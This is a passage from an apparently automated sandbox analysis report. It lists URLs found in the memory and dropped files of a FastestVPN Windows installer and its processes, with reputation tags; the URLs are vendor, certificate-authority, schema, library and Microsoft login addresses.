      https://fastestvpn.com/terms-of-service?device=windowsmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalseunknown
      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAsvchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpfalseunknown
      http://aia.entrust.net/ts2-chain256.p7c01mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalseunknown
      http://schemas.datacontract.org/2004/07/System.ServiceProcessFastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpfalseunknown
      http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issuesvchost.exe, 0000002A.00000002.2722700288.000001B24156D000.00000004.00000020.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdchemsvchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpfalse
        		unknown
        http://www.hardcodet.net/taskbarFastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmpfalseunknown
        https://github.com/dotnet/corefx/tree/7601f4f6225089ffFastestVPN.exefalseunknown
        https://scripts.sil.org/OFLFastestVPN.exe, 00000018.00000002.2752778482.0000000008762000.00000004.00000800.00020000.00000000.sdmpfalseunknown
        https://aka.ms/pscore6lBpowershell.exe, 00000020.00000002.1970402317.0000000004D01000.00000004.00000800.00020000.00000000.sdmpfalse
        • URL Reputation: safe
        		unknown
        https://www.fastestvpn.com/mnFHs2DuKg.exe, 00000001.00000003.2151519280.0000000002376000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1451804611.0000000002830000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.1461913377.0000000003390000.00000004.00001000.00020000.00000000.sdmpfalseunknown
        https://www.remobjects.com/psmnFHs2DuKg.exe, 00000001.00000003.1454492134.000000000284F000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1456934372.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000000.1459934808.0000000000401000.00000020.00000001.01000000.00000004.sdmp, mnFHs2DuKg.tmp.1.drfalse
        • URL Reputation: safe
        		unknown
        https://nuget.org/nuget.exepowershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpfalse
        • URL Reputation: safe
        		unknown
        https://www.innosetup.com/mnFHs2DuKg.exe, 00000001.00000003.1454492134.000000000284F000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.exe, 00000001.00000003.1456934372.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000000.1459934808.0000000000401000.00000020.00000001.01000000.00000004.sdmp, mnFHs2DuKg.tmp.1.drfalse
        • URL Reputation: safe
        		unknown
        https://fastestvpn.com/buy-vpn?device=windowsmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalseunknown
        https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalseunknown
        https://api.fastestvpn.com/v2mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.drfalseunknown
        http://crl.entrust.net/g2ca.cFastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmpfalseunknown
        http://schemas.xmlsoap.org/ws/2004/09/policye.srfsvchost.exe, 0000002A.00000002.2722700288.000001B24156D000.00000004.00000020.00020000.00000000.sdmpfalse
          		unknown
          https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfsvchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalseunknown
          https://github.com/JamesNK/Newtonsoft.JsondFastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpfalseunknown
          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdecurisvchost.exe, 0000002A.00000003.2016130194.000001B24155D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2015610899.000001B241558000.00000004.00000020.00020000.00000000.sdmpfalseunknown
          http://signalr.net/FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmpfalseunknown
          https://account.live.com/InlineSignup.aspx?iww=1&id=80502svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalseunknown
          https://in.appcenter.ms./logs?api-version=1.0.0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.drfalseunknown
          http://temp.com/mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpfalseunknown
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameFastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.1970402317.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.00000000015E6000.00000004.00000800.00020000.00000000.sdmpfalse
          • URL Reputation: safe
          		unknown
          http://wpfanimatedgif.codeplex.commnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2747533221.00000000059C2000.00000002.00000001.01000000.0000001A.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000002AD000.00000002.00000001.01000000.00000009.sdmpfalse
            		unknown
            http://www.entrust.net/rpa0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
              		unknown
              http://docs.oasis-open.org/wss/2004/01/oasis-200svchost.exe, 0000002A.00000003.2016015198.000001B241553000.00000004.00000020.00020000.00000000.sdmpfalse
                		unknown
                http://Passport.NET/tb_svchost.exe, 0000002A.00000002.2722931341.000001B241A00000.00000004.00000020.00020000.00000000.sdmpfalse
                  		unknown
                  http://ocsp.sectigo.com0.mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drfalse
                    		unknown
                    https://fastestvpn.com/upgrade?t=ndelyNN7yduAcFastestVPN.exefalse
                      		unknown
                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/soap/encoding/FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.datacontract.org/2004/07/FastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpfalse
                        		unknown
                        http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpfalse
                          		unknown
                          https://go.micropowershell.exe, 00000020.00000002.1970402317.0000000004EE0000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.entrust.net/rpa03mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4fFastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmpfalse
                            		unknown
                            https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJsvchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              https://account.live.com/msangcwamsvchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974546156.000001B241557000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                https://contoso.com/Iconpowershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://crl.ver)svchost.exe, 00000022.00000002.2726301119.00000296AE884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  http://passport.net/tbsvchost.exe, 0000002A.00000002.2723539065.000001B241A6D000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		unknown
                                    https://g.live.com/odclientsettings/ProdV2/C:svchost.exe, 00000022.00000003.1938932678.00000296AE5B0000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		unknown
                                      https://github.com/Pester/Pesterpowershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://api.fastestvpn.com//v2/chatmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalse
                                          		unknown
                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdxmlsvchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		unknown
                                            https://github.com/hardcodet/wpf-notifyiconmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpfalse
                                              		unknown
                                              http://schemas.xmlsoap.org/wsdl/FastestVPN.exe, 00000018.00000002.2724414193.0000000002571000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://fastestvpn.com/password/resetmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalse
                                                		unknown
                                                https://www.newtonsoft.com/jsonschemais-2MRML.tmp.2.drfalse
                                                  		unknown
                                                  http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuesvchost.exe, 0000002A.00000002.2722013145.000001B240CC1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2007072587.000001B24155C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttfFastestVPN.exe, 00000018.00000002.2724414193.00000000027C3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    https://github.com/ericsink/SQLitePCL.rawFastestVPN.exe, FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp, FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.drfalse
                                                      		unknown
                                                      https://github.com/tmenier/Flurl.git5mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://crl.entrust.net/ts2ca.crl0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                          		unknown
                                                          http://etherx.jabber.org/streamsis-3IEGE.tmp.2.drfalse
                                                            		unknown
                                                            https://github.com/novotnyllc/bc-csharpmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.drfalse
                                                              		unknown
                                                              https://www.entrust.net/rpa0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              http://crl.entrust.net/g2ca.crl0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                                		unknown
                                                                https://fastestvpn.com/aboutmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalse
                                                                  		unknown
                                                                  https://scripts.sil.org/OFLThismnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000000E2000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                    		unknown
                                                                    http://schemas.misvchost.exe, 0000002A.00000002.2722501840.000001B241500000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmp, FastestVPN.exe, 00000018.00000002.2762361585.000000000B742000.00000002.00000001.01000000.00000031.sdmpfalse
                                                                        		unknown
                                                                        http://ocsp.sectigo.com0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drfalse
                                                                        • URL Reputation: safe
                                                                        		unknown
                                                                        https://github.com/dotnet/corefx/tree/c6cf790234eFastestVPN.exefalse
                                                                          		unknown
                                                                          http://ocsp.entrust.net03mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2749038843.00000000081D1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                                          • URL Reputation: safe
                                                                          		unknown
                                                                          https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSIDsvchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfsvchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		unknown
                                                                              http://ocsp.entrust.net01mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                                                		unknown
                                                                                https://fastestvpn.com/upgrade?t=ndelyNN7yduAc5EnjoymnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2742939805.0000000005472000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                  		unknown
                                                                                  http://ocsp.entrust.net00mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2757629724.000000000AD09000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059831756.0000000001560000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.2059880709.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, is-F2JV1.tmp.2.dr, is-R1MP1.tmp.2.dr, is-KHD5M.tmp.2.dr, is-L468K.tmp.2.dr, is-G4HV7.tmp.2.dr, is-QC9L9.tmp.2.dr, is-KH3QE.tmp.2.dr, is-2M5AV.tmp.2.dr, is-G502V.tmp.2.dr, is-E39BQ.tmp.2.dr, is-SURFG.tmp.2.dr, is-10HRM.tmp.2.dr, is-VO662.tmp.2.drfalse
                                                                                    		unknown
                                                                                    http://ip-api.com/jsonmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743150187.0000000005492000.00000002.00000001.01000000.00000018.sdmp, is-G4HV7.tmp.2.drfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://contoso.com/Licensepowershell.exe, 00000020.00000002.1985193783.0000000005D69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    • URL Reputation: safe
                                                                                    		unknown
                                                                                    https://fastestvpn.com/privacy-policymnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalse
                                                                                      		unknown
                                                                                      https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsvchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        https://login.microsoftonline.com/ppsecure/devicechangecredential.srfensvchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0QmnFHs2DuKg.exefalse
                                                                                            		unknown
                                                                                            http://ocsps.ssl.com0mnFHs2DuKg.exefalse
                                                                                              		unknown
                                                                                              https://github.com/aspnet/AspNetKatanaFastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp, is-EDC5Q.tmp.2.dr, is-SIFEE.tmp.2.drfalse
                                                                                                		unknown
                                                                                                https://www.newtonsoft.com/jsonis-2MRML.tmp.2.drfalse
                                                                                                  		unknown

                                                                                                  World Map of Contacted IPs

